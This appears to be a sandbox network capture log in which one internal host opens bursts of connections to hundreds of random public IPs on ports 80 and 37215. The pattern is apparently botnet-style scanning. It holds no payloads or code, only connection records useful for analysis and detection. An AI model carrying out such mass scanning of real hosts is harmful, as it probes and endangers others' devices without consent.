Oct 14, 2024 17:30:14.220624924 CEST	53274	80	192.168.2.14	125.219.46.15
Oct 14, 2024 17:30:14.220633984 CEST	53274	80	192.168.2.14	98.70.93.59
Oct 14, 2024 17:30:14.220654964 CEST	53274	80	192.168.2.14	130.74.249.42
Oct 14, 2024 17:30:14.220633984 CEST	53274	80	192.168.2.14	32.56.34.100
Oct 14, 2024 17:30:14.220624924 CEST	53274	80	192.168.2.14	165.115.38.140
Oct 14, 2024 17:30:14.220633984 CEST	53274	80	192.168.2.14	102.155.179.2
Oct 14, 2024 17:30:14.220598936 CEST	53274	80	192.168.2.14	46.163.39.198
Oct 14, 2024 17:30:14.220660925 CEST	53274	80	192.168.2.14	40.39.252.147
Oct 14, 2024 17:30:14.220598936 CEST	53274	80	192.168.2.14	117.233.43.35
Oct 14, 2024 17:30:14.220666885 CEST	37098	80	192.168.2.14	62.176.2.9
Oct 14, 2024 17:30:14.220668077 CEST	53274	80	192.168.2.14	192.163.179.13
Oct 14, 2024 17:30:14.220668077 CEST	53274	80	192.168.2.14	128.253.172.243
Oct 14, 2024 17:30:14.220681906 CEST	37098	80	192.168.2.14	62.176.2.9
Oct 14, 2024 17:30:14.220695019 CEST	53274	80	192.168.2.14	4.20.184.245
Oct 14, 2024 17:30:14.220695019 CEST	53274	80	192.168.2.14	45.216.64.161
Oct 14, 2024 17:30:14.220695019 CEST	53274	80	192.168.2.14	9.65.244.207
Oct 14, 2024 17:30:14.220695019 CEST	53274	80	192.168.2.14	153.227.104.156
Oct 14, 2024 17:30:14.220695019 CEST	53274	80	192.168.2.14	202.212.66.158
Oct 14, 2024 17:30:14.220706940 CEST	37428	80	192.168.2.14	62.176.2.9
Oct 14, 2024 17:30:14.226994038 CEST	80	53274	193.175.163.210	192.168.2.14
Oct 14, 2024 17:30:14.227001905 CEST	80	53274	144.126.212.192	192.168.2.14
Oct 14, 2024 17:30:14.227015018 CEST	80	53274	128.159.116.3	192.168.2.14
Oct 14, 2024 17:30:14.227032900 CEST	80	53274	208.88.254.216	192.168.2.14
Oct 14, 2024 17:30:14.227039099 CEST	80	53274	155.88.247.4	192.168.2.14
Oct 14, 2024 17:30:14.227044106 CEST	53274	80	192.168.2.14	193.175.163.210
Oct 14, 2024 17:30:14.227045059 CEST	80	53274	140.226.234.176	192.168.2.14
Oct 14, 2024 17:30:14.227050066 CEST	80	53274	84.112.120.151	192.168.2.14
Oct 14, 2024 17:30:14.227050066 CEST	53274	80	192.168.2.14	144.126.212.192
Oct 14, 2024 17:30:14.227056026 CEST	80	53274	199.174.142.92	192.168.2.14
Oct 14, 2024 17:30:14.227057934 CEST	53274	80	192.168.2.14	128.159.116.3
Oct 14, 2024 17:30:14.227061987 CEST	80	53274	36.146.68.68	192.168.2.14
Oct 14, 2024 17:30:14.227067947 CEST	80	53274	85.226.66.251	192.168.2.14
Oct 14, 2024 17:30:14.227073908 CEST	80	53274	86.234.55.246	192.168.2.14
Oct 14, 2024 17:30:14.227076054 CEST	53274	80	192.168.2.14	208.88.254.216
Oct 14, 2024 17:30:14.227078915 CEST	80	53274	54.4.91.47	192.168.2.14
Oct 14, 2024 17:30:14.227083921 CEST	53274	80	192.168.2.14	155.88.247.4
Oct 14, 2024 17:30:14.227085114 CEST	80	53274	40.127.107.190	192.168.2.14
Oct 14, 2024 17:30:14.227091074 CEST	80	53274	173.156.218.62	192.168.2.14
Oct 14, 2024 17:30:14.227097034 CEST	80	53274	31.209.245.244	192.168.2.14
Oct 14, 2024 17:30:14.227101088 CEST	53274	80	192.168.2.14	84.112.120.151
Oct 14, 2024 17:30:14.227102041 CEST	80	53274	98.202.235.68	192.168.2.14
Oct 14, 2024 17:30:14.227103949 CEST	53274	80	192.168.2.14	36.146.68.68
Oct 14, 2024 17:30:14.227109909 CEST	80	53274	59.200.251.230	192.168.2.14
Oct 14, 2024 17:30:14.227109909 CEST	53274	80	192.168.2.14	85.226.66.251
Oct 14, 2024 17:30:14.227109909 CEST	53274	80	192.168.2.14	54.4.91.47
Oct 14, 2024 17:30:14.227109909 CEST	53274	80	192.168.2.14	140.226.234.176
Oct 14, 2024 17:30:14.227111101 CEST	53274	80	192.168.2.14	199.174.142.92
Oct 14, 2024 17:30:14.227114916 CEST	80	53274	60.101.27.239	192.168.2.14
Oct 14, 2024 17:30:14.227118969 CEST	53274	80	192.168.2.14	86.234.55.246
Oct 14, 2024 17:30:14.227122068 CEST	80	53274	166.177.227.239	192.168.2.14
Oct 14, 2024 17:30:14.227122068 CEST	53274	80	192.168.2.14	40.127.107.190
Oct 14, 2024 17:30:14.227122068 CEST	53274	80	192.168.2.14	98.202.235.68
Oct 14, 2024 17:30:14.227123976 CEST	53274	80	192.168.2.14	173.156.218.62
Oct 14, 2024 17:30:14.227127075 CEST	80	53274	208.52.168.85	192.168.2.14
Oct 14, 2024 17:30:14.227133989 CEST	53274	80	192.168.2.14	59.200.251.230
Oct 14, 2024 17:30:14.227134943 CEST	53274	80	192.168.2.14	31.209.245.244
Oct 14, 2024 17:30:14.227158070 CEST	53274	80	192.168.2.14	60.101.27.239
Oct 14, 2024 17:30:14.227164984 CEST	53274	80	192.168.2.14	166.177.227.239
Oct 14, 2024 17:30:14.227185965 CEST	53274	80	192.168.2.14	208.52.168.85
Oct 14, 2024 17:30:14.227399111 CEST	80	53274	153.198.51.111	192.168.2.14
Oct 14, 2024 17:30:14.227404118 CEST	80	53274	69.71.62.111	192.168.2.14
Oct 14, 2024 17:30:14.227416992 CEST	80	53274	210.12.192.106	192.168.2.14
Oct 14, 2024 17:30:14.227422953 CEST	80	53274	117.124.14.241	192.168.2.14
Oct 14, 2024 17:30:14.227435112 CEST	53274	80	192.168.2.14	153.198.51.111
Oct 14, 2024 17:30:14.227436066 CEST	80	53274	65.84.148.249	192.168.2.14
Oct 14, 2024 17:30:14.227443933 CEST	80	53274	183.12.103.38	192.168.2.14
Oct 14, 2024 17:30:14.227456093 CEST	80	53274	69.70.116.30	192.168.2.14
Oct 14, 2024 17:30:14.227462053 CEST	80	37098	62.176.2.9	192.168.2.14
Oct 14, 2024 17:30:14.227462053 CEST	53274	80	192.168.2.14	69.71.62.111
Oct 14, 2024 17:30:14.227462053 CEST	53274	80	192.168.2.14	210.12.192.106
Oct 14, 2024 17:30:14.227468014 CEST	53274	80	192.168.2.14	117.124.14.241
Oct 14, 2024 17:30:14.227472067 CEST	53274	80	192.168.2.14	65.84.148.249
Oct 14, 2024 17:30:14.227487087 CEST	53274	80	192.168.2.14	69.70.116.30
Oct 14, 2024 17:30:14.227493048 CEST	53274	80	192.168.2.14	183.12.103.38
Oct 14, 2024 17:30:14.271169901 CEST	80	37098	62.176.2.9	192.168.2.14
Oct 14, 2024 17:30:14.926064968 CEST	53786	37215	192.168.2.14	197.0.235.153
Oct 14, 2024 17:30:14.926065922 CEST	53786	37215	192.168.2.14	156.225.130.123
Oct 14, 2024 17:30:14.926068068 CEST	53786	37215	192.168.2.14	156.207.149.153
Oct 14, 2024 17:30:14.926091909 CEST	53786	37215	192.168.2.14	41.68.153.91
Oct 14, 2024 17:30:14.926095009 CEST	53786	37215	192.168.2.14	156.8.37.231
Oct 14, 2024 17:30:14.926105022 CEST	53786	37215	192.168.2.14	197.104.242.229
Oct 14, 2024 17:30:14.926110983 CEST	53786	37215	192.168.2.14	156.223.244.13
Oct 14, 2024 17:30:14.926110983 CEST	53786	37215	192.168.2.14	41.196.49.54
Oct 14, 2024 17:30:14.926130056 CEST	53786	37215	192.168.2.14	41.155.10.104
Oct 14, 2024 17:30:14.926141977 CEST	53786	37215	192.168.2.14	41.221.130.103
Oct 14, 2024 17:30:14.926161051 CEST	53786	37215	192.168.2.14	156.84.72.234
Oct 14, 2024 17:30:14.926162004 CEST	53786	37215	192.168.2.14	197.67.106.52
Oct 14, 2024 17:30:14.926172972 CEST	53786	37215	192.168.2.14	156.69.124.87
Oct 14, 2024 17:30:14.926177979 CEST	53786	37215	192.168.2.14	197.138.176.234
Oct 14, 2024 17:30:14.926182985 CEST	53786	37215	192.168.2.14	156.228.112.43
Oct 14, 2024 17:30:14.926194906 CEST	53786	37215	192.168.2.14	197.23.234.213
Oct 14, 2024 17:30:14.926223993 CEST	53786	37215	192.168.2.14	156.189.239.186
Oct 14, 2024 17:30:14.926229000 CEST	53786	37215	192.168.2.14	197.81.126.147
Oct 14, 2024 17:30:14.926253080 CEST	53786	37215	192.168.2.14	156.134.78.166
Oct 14, 2024 17:30:14.926266909 CEST	53786	37215	192.168.2.14	197.98.49.167
Oct 14, 2024 17:30:14.926265001 CEST	53786	37215	192.168.2.14	156.116.155.166
Oct 14, 2024 17:30:14.926265001 CEST	53786	37215	192.168.2.14	41.164.6.211
Oct 14, 2024 17:30:14.926265001 CEST	53786	37215	192.168.2.14	197.173.82.174
Oct 14, 2024 17:30:14.926265001 CEST	53786	37215	192.168.2.14	197.199.132.222
Oct 14, 2024 17:30:14.926286936 CEST	53786	37215	192.168.2.14	197.218.110.122
Oct 14, 2024 17:30:14.926304102 CEST	53786	37215	192.168.2.14	156.127.247.17
Oct 14, 2024 17:30:14.926307917 CEST	53786	37215	192.168.2.14	156.97.175.102
Oct 14, 2024 17:30:14.926326990 CEST	53786	37215	192.168.2.14	197.19.128.221
Oct 14, 2024 17:30:14.926330090 CEST	53786	37215	192.168.2.14	197.139.83.71
Oct 14, 2024 17:30:14.926331043 CEST	53786	37215	192.168.2.14	156.123.43.233
Oct 14, 2024 17:30:14.926331043 CEST	53786	37215	192.168.2.14	41.23.192.100
Oct 14, 2024 17:30:14.926340103 CEST	53786	37215	192.168.2.14	156.52.68.147
Oct 14, 2024 17:30:14.926353931 CEST	53786	37215	192.168.2.14	156.145.15.131
Oct 14, 2024 17:30:14.926353931 CEST	53786	37215	192.168.2.14	197.245.175.34
Oct 14, 2024 17:30:14.926368952 CEST	53786	37215	192.168.2.14	156.138.86.234
Oct 14, 2024 17:30:14.926394939 CEST	53786	37215	192.168.2.14	197.200.103.163
Oct 14, 2024 17:30:14.926394939 CEST	53786	37215	192.168.2.14	156.249.69.148
Oct 14, 2024 17:30:14.926407099 CEST	53786	37215	192.168.2.14	197.22.167.76
Oct 14, 2024 17:30:14.926422119 CEST	53786	37215	192.168.2.14	197.78.72.46
Oct 14, 2024 17:30:14.926422119 CEST	53786	37215	192.168.2.14	156.32.231.32
Oct 14, 2024 17:30:14.926453114 CEST	53786	37215	192.168.2.14	156.182.237.158
Oct 14, 2024 17:30:14.926456928 CEST	53786	37215	192.168.2.14	156.32.253.124
Oct 14, 2024 17:30:14.926465034 CEST	53786	37215	192.168.2.14	156.155.190.213
Oct 14, 2024 17:30:14.926471949 CEST	53786	37215	192.168.2.14	156.215.122.143
Oct 14, 2024 17:30:14.926486015 CEST	53786	37215	192.168.2.14	156.29.70.6
Oct 14, 2024 17:30:14.926493883 CEST	53786	37215	192.168.2.14	197.143.146.184
Oct 14, 2024 17:30:14.926508904 CEST	53786	37215	192.168.2.14	41.4.125.154
Oct 14, 2024 17:30:14.926508904 CEST	53786	37215	192.168.2.14	197.159.89.121
Oct 14, 2024 17:30:14.926508904 CEST	53786	37215	192.168.2.14	197.51.164.239
Oct 14, 2024 17:30:14.926508904 CEST	53786	37215	192.168.2.14	197.8.199.24
Oct 14, 2024 17:30:14.926517010 CEST	53786	37215	192.168.2.14	41.134.139.199
Oct 14, 2024 17:30:14.926537991 CEST	53786	37215	192.168.2.14	156.140.131.92
Oct 14, 2024 17:30:14.926554918 CEST	53786	37215	192.168.2.14	41.98.80.254
Oct 14, 2024 17:30:14.926563025 CEST	53786	37215	192.168.2.14	156.29.187.205
Oct 14, 2024 17:30:14.926565886 CEST	53786	37215	192.168.2.14	156.220.206.112
Oct 14, 2024 17:30:14.926568985 CEST	53786	37215	192.168.2.14	41.186.225.246
Oct 14, 2024 17:30:14.926568985 CEST	53786	37215	192.168.2.14	41.16.222.223
Oct 14, 2024 17:30:14.926568985 CEST	53786	37215	192.168.2.14	197.252.209.213
Oct 14, 2024 17:30:14.926568985 CEST	53786	37215	192.168.2.14	156.78.21.100
Oct 14, 2024 17:30:14.926578999 CEST	53786	37215	192.168.2.14	197.87.76.133
Oct 14, 2024 17:30:14.926580906 CEST	53786	37215	192.168.2.14	41.6.17.249
Oct 14, 2024 17:30:14.926598072 CEST	53786	37215	192.168.2.14	156.96.49.174
Oct 14, 2024 17:30:14.926601887 CEST	53786	37215	192.168.2.14	197.81.156.14
Oct 14, 2024 17:30:14.926609039 CEST	53786	37215	192.168.2.14	197.193.193.169
Oct 14, 2024 17:30:14.926615000 CEST	53786	37215	192.168.2.14	41.164.219.202
Oct 14, 2024 17:30:14.926620007 CEST	53786	37215	192.168.2.14	156.181.37.144
Oct 14, 2024 17:30:14.926629066 CEST	53786	37215	192.168.2.14	156.236.60.212
Oct 14, 2024 17:30:14.926635981 CEST	53786	37215	192.168.2.14	41.92.124.233
Oct 14, 2024 17:30:14.926640987 CEST	53786	37215	192.168.2.14	156.230.79.150
Oct 14, 2024 17:30:14.926649094 CEST	53786	37215	192.168.2.14	41.159.18.166
Oct 14, 2024 17:30:14.926660061 CEST	53786	37215	192.168.2.14	197.50.81.248
Oct 14, 2024 17:30:14.926666975 CEST	53786	37215	192.168.2.14	197.185.220.91
Oct 14, 2024 17:30:14.926671028 CEST	53786	37215	192.168.2.14	197.175.9.54
Oct 14, 2024 17:30:14.926687002 CEST	53786	37215	192.168.2.14	41.52.101.200
Oct 14, 2024 17:30:14.926696062 CEST	53786	37215	192.168.2.14	197.128.61.38
Oct 14, 2024 17:30:14.926703930 CEST	53786	37215	192.168.2.14	197.177.231.239
Oct 14, 2024 17:30:14.926718950 CEST	53786	37215	192.168.2.14	156.124.178.204
Oct 14, 2024 17:30:14.926748037 CEST	53786	37215	192.168.2.14	41.206.6.185
Oct 14, 2024 17:30:14.926749945 CEST	53786	37215	192.168.2.14	156.198.83.84
Oct 14, 2024 17:30:14.926759005 CEST	53786	37215	192.168.2.14	156.200.252.81
Oct 14, 2024 17:30:14.926765919 CEST	53786	37215	192.168.2.14	41.228.62.32
Oct 14, 2024 17:30:14.926768064 CEST	53786	37215	192.168.2.14	41.212.196.117
Oct 14, 2024 17:30:14.926778078 CEST	53786	37215	192.168.2.14	197.204.134.240
Oct 14, 2024 17:30:14.926786900 CEST	53786	37215	192.168.2.14	197.183.195.15
Oct 14, 2024 17:30:14.926790953 CEST	53786	37215	192.168.2.14	41.213.226.33
Oct 14, 2024 17:30:14.926800966 CEST	53786	37215	192.168.2.14	156.248.119.37
Oct 14, 2024 17:30:14.926814079 CEST	53786	37215	192.168.2.14	197.244.83.121
Oct 14, 2024 17:30:14.926820993 CEST	53786	37215	192.168.2.14	156.75.153.185
Oct 14, 2024 17:30:14.926832914 CEST	53786	37215	192.168.2.14	156.195.102.105
Oct 14, 2024 17:30:14.926842928 CEST	53786	37215	192.168.2.14	156.69.174.181
Oct 14, 2024 17:30:14.926846027 CEST	53786	37215	192.168.2.14	197.191.4.15
Oct 14, 2024 17:30:14.926856041 CEST	53786	37215	192.168.2.14	197.220.108.68
Oct 14, 2024 17:30:14.926856041 CEST	53786	37215	192.168.2.14	41.12.78.245
Oct 14, 2024 17:30:14.926856041 CEST	53786	37215	192.168.2.14	156.168.201.6
Oct 14, 2024 17:30:14.926872015 CEST	53786	37215	192.168.2.14	156.41.139.207
Oct 14, 2024 17:30:14.926877975 CEST	53786	37215	192.168.2.14	156.194.42.8
Oct 14, 2024 17:30:14.926877975 CEST	53786	37215	192.168.2.14	41.4.156.134
Oct 14, 2024 17:30:14.926898003 CEST	53786	37215	192.168.2.14	197.6.14.226
Oct 14, 2024 17:30:14.926901102 CEST	53786	37215	192.168.2.14	41.18.251.203
Oct 14, 2024 17:30:14.926902056 CEST	53786	37215	192.168.2.14	41.65.99.235
Oct 14, 2024 17:30:14.926908016 CEST	53786	37215	192.168.2.14	197.240.63.124
Oct 14, 2024 17:30:14.926913977 CEST	53786	37215	192.168.2.14	197.100.197.216
Oct 14, 2024 17:30:14.926918983 CEST	53786	37215	192.168.2.14	197.113.30.72
Oct 14, 2024 17:30:14.926933050 CEST	53786	37215	192.168.2.14	197.54.29.158
Oct 14, 2024 17:30:14.926948071 CEST	53786	37215	192.168.2.14	156.255.78.210
Oct 14, 2024 17:30:14.926950932 CEST	53786	37215	192.168.2.14	197.238.149.218
Oct 14, 2024 17:30:14.926951885 CEST	53786	37215	192.168.2.14	41.111.77.139
Oct 14, 2024 17:30:14.926958084 CEST	53786	37215	192.168.2.14	41.16.141.47
Oct 14, 2024 17:30:14.926964998 CEST	53786	37215	192.168.2.14	156.153.64.28
Oct 14, 2024 17:30:14.926979065 CEST	53786	37215	192.168.2.14	197.156.157.170
Oct 14, 2024 17:30:14.926980972 CEST	53786	37215	192.168.2.14	197.6.30.209
Oct 14, 2024 17:30:14.926981926 CEST	53786	37215	192.168.2.14	156.41.237.165
Oct 14, 2024 17:30:14.926983118 CEST	53786	37215	192.168.2.14	156.37.136.3
Oct 14, 2024 17:30:14.927015066 CEST	53786	37215	192.168.2.14	156.91.109.229
Oct 14, 2024 17:30:14.927028894 CEST	53786	37215	192.168.2.14	41.118.218.245
Oct 14, 2024 17:30:14.927033901 CEST	53786	37215	192.168.2.14	156.133.250.38
Oct 14, 2024 17:30:14.927036047 CEST	53786	37215	192.168.2.14	41.11.172.9
Oct 14, 2024 17:30:14.927047014 CEST	53786	37215	192.168.2.14	197.63.254.122
Oct 14, 2024 17:30:14.927052975 CEST	53786	37215	192.168.2.14	41.29.11.38
Oct 14, 2024 17:30:14.927059889 CEST	53786	37215	192.168.2.14	197.150.170.113
Oct 14, 2024 17:30:14.927074909 CEST	53786	37215	192.168.2.14	41.47.33.114
Oct 14, 2024 17:30:14.927078962 CEST	53786	37215	192.168.2.14	41.241.179.97
Oct 14, 2024 17:30:14.927078962 CEST	53786	37215	192.168.2.14	41.96.75.144
Oct 14, 2024 17:30:14.927082062 CEST	53786	37215	192.168.2.14	156.122.42.228
Oct 14, 2024 17:30:14.927090883 CEST	53786	37215	192.168.2.14	156.103.69.127
Oct 14, 2024 17:30:14.927100897 CEST	53786	37215	192.168.2.14	156.84.221.177
Oct 14, 2024 17:30:14.927113056 CEST	53786	37215	192.168.2.14	156.11.21.5
Oct 14, 2024 17:30:14.927114010 CEST	53786	37215	192.168.2.14	197.198.120.104
Oct 14, 2024 17:30:14.927124977 CEST	53786	37215	192.168.2.14	41.79.154.89
Oct 14, 2024 17:30:14.927131891 CEST	53786	37215	192.168.2.14	197.23.219.58
Oct 14, 2024 17:30:14.927131891 CEST	53786	37215	192.168.2.14	156.168.55.159
Oct 14, 2024 17:30:14.927146912 CEST	53786	37215	192.168.2.14	41.235.60.43
Oct 14, 2024 17:30:14.927150011 CEST	53786	37215	192.168.2.14	156.217.201.198
Oct 14, 2024 17:30:14.927155972 CEST	53786	37215	192.168.2.14	41.227.172.9
Oct 14, 2024 17:30:14.927165985 CEST	53786	37215	192.168.2.14	156.181.44.132
Oct 14, 2024 17:30:14.927177906 CEST	53786	37215	192.168.2.14	41.23.151.20
Oct 14, 2024 17:30:14.927185059 CEST	53786	37215	192.168.2.14	41.132.170.126
Oct 14, 2024 17:30:14.927186966 CEST	53786	37215	192.168.2.14	197.107.94.186
Oct 14, 2024 17:30:14.927186966 CEST	53786	37215	192.168.2.14	41.109.42.200
Oct 14, 2024 17:30:14.927196980 CEST	53786	37215	192.168.2.14	197.131.139.44
Oct 14, 2024 17:30:14.927215099 CEST	53786	37215	192.168.2.14	41.62.87.33
Oct 14, 2024 17:30:14.927216053 CEST	53786	37215	192.168.2.14	156.156.100.1
Oct 14, 2024 17:30:14.927220106 CEST	53786	37215	192.168.2.14	41.77.238.91
Oct 14, 2024 17:30:14.927233934 CEST	53786	37215	192.168.2.14	41.74.193.84
Oct 14, 2024 17:30:14.927249908 CEST	53786	37215	192.168.2.14	156.253.80.26
Oct 14, 2024 17:30:14.927256107 CEST	53786	37215	192.168.2.14	41.195.164.98
Oct 14, 2024 17:30:14.927258015 CEST	53786	37215	192.168.2.14	41.76.177.106
Oct 14, 2024 17:30:14.927263021 CEST	53786	37215	192.168.2.14	41.121.253.208
Oct 14, 2024 17:30:14.927273035 CEST	53786	37215	192.168.2.14	197.131.101.70
Oct 14, 2024 17:30:14.927280903 CEST	53786	37215	192.168.2.14	41.110.48.220
Oct 14, 2024 17:30:14.927289009 CEST	53786	37215	192.168.2.14	156.133.225.159
Oct 14, 2024 17:30:14.927304983 CEST	53786	37215	192.168.2.14	197.161.98.218
Oct 14, 2024 17:30:14.927304983 CEST	53786	37215	192.168.2.14	41.249.208.202
Oct 14, 2024 17:30:14.927313089 CEST	53786	37215	192.168.2.14	41.135.30.247
Oct 14, 2024 17:30:14.927315950 CEST	53786	37215	192.168.2.14	197.12.137.70
Oct 14, 2024 17:30:14.927324057 CEST	53786	37215	192.168.2.14	41.13.112.84
Oct 14, 2024 17:30:14.927335024 CEST	53786	37215	192.168.2.14	156.148.68.178
Oct 14, 2024 17:30:14.927346945 CEST	53786	37215	192.168.2.14	197.17.20.187
Oct 14, 2024 17:30:14.927351952 CEST	53786	37215	192.168.2.14	197.111.248.228
Oct 14, 2024 17:30:14.927360058 CEST	53786	37215	192.168.2.14	41.196.7.77
Oct 14, 2024 17:30:14.927365065 CEST	53786	37215	192.168.2.14	156.1.6.91
Oct 14, 2024 17:30:14.927366018 CEST	53786	37215	192.168.2.14	41.55.88.118
Oct 14, 2024 17:30:14.927376032 CEST	53786	37215	192.168.2.14	41.169.96.102
Oct 14, 2024 17:30:14.927393913 CEST	53786	37215	192.168.2.14	156.211.206.157
Oct 14, 2024 17:30:14.927402020 CEST	53786	37215	192.168.2.14	156.122.251.113
Oct 14, 2024 17:30:14.927407026 CEST	53786	37215	192.168.2.14	156.102.50.44
Oct 14, 2024 17:30:14.927412987 CEST	53786	37215	192.168.2.14	156.10.187.153
Oct 14, 2024 17:30:14.927416086 CEST	53786	37215	192.168.2.14	156.179.243.153
Oct 14, 2024 17:30:14.927431107 CEST	53786	37215	192.168.2.14	41.159.131.106
Oct 14, 2024 17:30:14.927437067 CEST	53786	37215	192.168.2.14	156.219.182.189
Oct 14, 2024 17:30:14.927443981 CEST	53786	37215	192.168.2.14	197.53.123.73
Oct 14, 2024 17:30:14.927448034 CEST	53786	37215	192.168.2.14	197.137.18.29
Oct 14, 2024 17:30:14.927450895 CEST	53786	37215	192.168.2.14	156.94.96.98
Oct 14, 2024 17:30:14.927459955 CEST	53786	37215	192.168.2.14	156.170.207.82
Oct 14, 2024 17:30:14.927467108 CEST	53786	37215	192.168.2.14	197.32.252.83
Oct 14, 2024 17:30:14.927479029 CEST	53786	37215	192.168.2.14	156.140.27.146
Oct 14, 2024 17:30:14.927484035 CEST	53786	37215	192.168.2.14	197.57.0.75
Oct 14, 2024 17:30:14.927500010 CEST	53786	37215	192.168.2.14	41.196.171.161
Oct 14, 2024 17:30:14.927500963 CEST	53786	37215	192.168.2.14	197.162.18.242
Oct 14, 2024 17:30:14.927500963 CEST	53786	37215	192.168.2.14	41.53.189.94
Oct 14, 2024 17:30:14.927506924 CEST	53786	37215	192.168.2.14	156.244.163.253
Oct 14, 2024 17:30:14.927541971 CEST	53786	37215	192.168.2.14	156.89.7.152
Oct 14, 2024 17:30:14.927550077 CEST	53786	37215	192.168.2.14	197.113.77.62
Oct 14, 2024 17:30:14.927551031 CEST	53786	37215	192.168.2.14	156.134.229.226
Oct 14, 2024 17:30:14.927551985 CEST	53786	37215	192.168.2.14	41.166.145.28
Oct 14, 2024 17:30:14.927551985 CEST	53786	37215	192.168.2.14	41.15.105.39
Oct 14, 2024 17:30:14.927561998 CEST	53786	37215	192.168.2.14	41.132.219.95
Oct 14, 2024 17:30:14.927561998 CEST	53786	37215	192.168.2.14	156.182.226.236
Oct 14, 2024 17:30:14.927562952 CEST	53786	37215	192.168.2.14	197.77.190.76
Oct 14, 2024 17:30:14.927575111 CEST	53786	37215	192.168.2.14	197.34.128.239
Oct 14, 2024 17:30:14.927575111 CEST	53786	37215	192.168.2.14	197.120.96.139
Oct 14, 2024 17:30:14.927575111 CEST	53786	37215	192.168.2.14	41.135.249.126
Oct 14, 2024 17:30:14.927578926 CEST	53786	37215	192.168.2.14	156.229.40.200
Oct 14, 2024 17:30:14.927587032 CEST	53786	37215	192.168.2.14	197.167.140.203
Oct 14, 2024 17:30:14.927587032 CEST	53786	37215	192.168.2.14	197.229.219.58
Oct 14, 2024 17:30:14.927588940 CEST	53786	37215	192.168.2.14	156.195.142.52
Oct 14, 2024 17:30:14.927592039 CEST	53786	37215	192.168.2.14	156.65.73.113
Oct 14, 2024 17:30:14.927601099 CEST	53786	37215	192.168.2.14	197.78.129.252
Oct 14, 2024 17:30:14.927611113 CEST	53786	37215	192.168.2.14	41.49.209.104
Oct 14, 2024 17:30:14.927632093 CEST	53786	37215	192.168.2.14	197.83.185.105
Oct 14, 2024 17:30:14.927632093 CEST	53786	37215	192.168.2.14	197.239.168.229
Oct 14, 2024 17:30:14.927632093 CEST	53786	37215	192.168.2.14	156.94.244.148
Oct 14, 2024 17:30:14.927642107 CEST	53786	37215	192.168.2.14	156.248.235.104
Oct 14, 2024 17:30:14.927649975 CEST	53786	37215	192.168.2.14	197.144.124.115
Oct 14, 2024 17:30:14.927663088 CEST	53786	37215	192.168.2.14	156.195.143.250
Oct 14, 2024 17:30:14.927664042 CEST	53786	37215	192.168.2.14	41.229.158.109
Oct 14, 2024 17:30:14.927670002 CEST	53786	37215	192.168.2.14	156.230.248.133
Oct 14, 2024 17:30:14.927670956 CEST	53786	37215	192.168.2.14	156.106.98.141
Oct 14, 2024 17:30:14.927670956 CEST	53786	37215	192.168.2.14	156.20.243.77
Oct 14, 2024 17:30:14.927679062 CEST	53786	37215	192.168.2.14	156.171.239.147
Oct 14, 2024 17:30:14.927686930 CEST	53786	37215	192.168.2.14	41.44.14.138
Oct 14, 2024 17:30:14.927700043 CEST	53786	37215	192.168.2.14	41.139.197.107
Oct 14, 2024 17:30:14.927706003 CEST	53786	37215	192.168.2.14	197.96.173.78
Oct 14, 2024 17:30:14.927711964 CEST	53786	37215	192.168.2.14	197.55.80.225
Oct 14, 2024 17:30:14.927728891 CEST	53786	37215	192.168.2.14	197.26.186.224
Oct 14, 2024 17:30:14.927728891 CEST	53786	37215	192.168.2.14	41.26.37.115
Oct 14, 2024 17:30:14.927743912 CEST	53786	37215	192.168.2.14	41.225.160.34
Oct 14, 2024 17:30:14.927747965 CEST	53786	37215	192.168.2.14	197.142.198.208
Oct 14, 2024 17:30:14.927757025 CEST	53786	37215	192.168.2.14	197.75.168.197
Oct 14, 2024 17:30:14.927767038 CEST	53786	37215	192.168.2.14	41.12.136.2
Oct 14, 2024 17:30:14.927767038 CEST	53786	37215	192.168.2.14	197.244.247.14
Oct 14, 2024 17:30:14.927773952 CEST	53786	37215	192.168.2.14	41.175.129.69
Oct 14, 2024 17:30:14.927805901 CEST	53786	37215	192.168.2.14	197.143.42.183
Oct 14, 2024 17:30:14.927809000 CEST	53786	37215	192.168.2.14	197.111.55.19
Oct 14, 2024 17:30:14.927814007 CEST	53786	37215	192.168.2.14	197.176.129.31
Oct 14, 2024 17:30:14.927834988 CEST	53786	37215	192.168.2.14	41.102.41.104
Oct 14, 2024 17:30:14.927839041 CEST	53786	37215	192.168.2.14	156.130.235.214
Oct 14, 2024 17:30:14.927839041 CEST	53786	37215	192.168.2.14	41.164.77.223
Oct 14, 2024 17:30:14.927839994 CEST	53786	37215	192.168.2.14	41.130.167.159
Oct 14, 2024 17:30:14.927839994 CEST	53786	37215	192.168.2.14	197.255.188.245
Oct 14, 2024 17:30:14.927858114 CEST	53786	37215	192.168.2.14	156.229.67.20
Oct 14, 2024 17:30:14.927861929 CEST	53786	37215	192.168.2.14	41.9.210.170
Oct 14, 2024 17:30:14.927871943 CEST	53786	37215	192.168.2.14	197.114.42.196
Oct 14, 2024 17:30:14.927871943 CEST	53786	37215	192.168.2.14	197.41.134.130
Oct 14, 2024 17:30:14.927892923 CEST	53786	37215	192.168.2.14	41.79.206.112
Oct 14, 2024 17:30:14.927894115 CEST	53786	37215	192.168.2.14	156.203.87.1
Oct 14, 2024 17:30:14.927901983 CEST	53786	37215	192.168.2.14	197.24.27.19
Oct 14, 2024 17:30:14.927906036 CEST	53786	37215	192.168.2.14	41.218.147.36
Oct 14, 2024 17:30:14.927907944 CEST	53786	37215	192.168.2.14	197.30.1.216
Oct 14, 2024 17:30:14.927911997 CEST	53786	37215	192.168.2.14	41.148.214.221
Oct 14, 2024 17:30:14.927930117 CEST	53786	37215	192.168.2.14	41.255.177.102
Oct 14, 2024 17:30:14.927930117 CEST	53786	37215	192.168.2.14	41.62.139.74
Oct 14, 2024 17:30:14.927939892 CEST	53786	37215	192.168.2.14	197.156.132.44
Oct 14, 2024 17:30:14.927941084 CEST	53786	37215	192.168.2.14	156.227.38.214
Oct 14, 2024 17:30:14.927941084 CEST	53786	37215	192.168.2.14	197.238.8.1
Oct 14, 2024 17:30:14.927951097 CEST	53786	37215	192.168.2.14	197.120.76.153
Oct 14, 2024 17:30:14.927953005 CEST	53786	37215	192.168.2.14	156.100.237.252
Oct 14, 2024 17:30:14.927958965 CEST	53786	37215	192.168.2.14	156.16.30.143
Oct 14, 2024 17:30:14.927967072 CEST	53786	37215	192.168.2.14	197.40.9.166
Oct 14, 2024 17:30:14.927967072 CEST	53786	37215	192.168.2.14	156.206.98.97
Oct 14, 2024 17:30:14.927987099 CEST	53786	37215	192.168.2.14	41.208.72.59
Oct 14, 2024 17:30:14.927987099 CEST	53786	37215	192.168.2.14	41.210.90.187
